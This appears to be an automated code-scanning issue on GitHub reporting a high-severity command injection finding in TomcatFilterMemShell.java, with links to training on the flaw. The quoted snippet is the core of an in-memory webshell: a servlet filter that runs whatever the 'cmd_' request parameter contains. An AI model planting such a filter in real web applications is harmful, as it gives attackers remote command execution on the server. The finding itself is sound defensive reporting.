Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Code Security Finding: Command Injection (CWE-78, High Severity) in TomcatFilterMemShell.java:97 #64

@joshn-whitesource-app

Description

@joshn-whitesource-app

Code Security Finding

This finding was first detected on 2024-02-07 06:59pm GMT and is still present in the last scan performed on 2024-02-07 06:58pm GMT:

SeverityVulnerability TypeCWEFileData Flows
HighCommand Injection

CWE-78

TomcatFilterMemShell.java:97

1
Vulnerable Code

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd_")) != null) {
Process process = Runtime.getRuntime().exec(cmd);

1 Data Flow/s detected

if ((cmd = servletRequest.getParameter("cmd_")) != null) {

Secure Code Warrior Training Material

● Training

   ▪ Secure Code Warrior Command Injection Training

● Videos

   ▪ Secure Code Warrior Command Injection Video

● Further Reading

   ▪ OWASP testing for Command Injection

   ▪ OWASP Command Injection

🏴 Suppress Finding
  • ... as False Alarm
  • ... as Acceptable Risk

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions